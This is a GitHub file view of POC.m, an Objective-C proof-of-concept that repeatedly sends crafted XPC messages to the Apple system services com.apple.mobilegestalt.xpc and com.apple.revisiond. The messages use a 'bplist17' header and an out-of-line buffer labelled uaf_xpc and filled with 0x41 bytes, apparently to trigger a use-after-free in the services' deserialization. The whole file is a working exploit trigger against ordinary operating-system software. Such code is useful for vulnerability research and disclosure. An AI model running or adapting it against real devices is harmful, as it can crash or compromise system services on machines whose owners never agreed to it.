-
Notifications
You must be signed in to change notification settings - Fork 9
/
POC.m
33 lines (26 loc) · 995 Bytes
/
POC.m
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
#include <xpc/xpc.h>
void poc(char* name){
xpc_connection_t client = xpc_connection_create_mach_service(name, NULL, 0);
xpc_connection_set_event_handler(client, ^(xpc_object_t event) {});
xpc_connection_resume(client);
xpc_object_t message = xpc_dictionary_create(NULL, NULL, 0);
uint8_t root[1024]={};
memcpy(root, "bplist17", strlen("bplist17"));
xpc_dictionary_set_data(message, "root",root, 1024);
xpc_dictionary_set_uint64(message, "proxynum", 1);
xpc_dictionary_set_uint64(message, "inv", 1);
uint8_t uaf_xpc[1024];
memset(uaf_xpc, 0x41,1024);
xpc_dictionary_set_value(message, "ool", xpc_data_create(uaf_xpc, 1024));
xpc_connection_send_message_with_reply_sync(client, message);
return;
}
int main(int argc, const char * argv[]) {
char* srv_names[] = {
"com.apple.mobilegestalt.xpc",
"com.apple.revisiond"};
for(int i = 0; i<16; i++){
poc(srv_names[i%2]);
}
return 0;
}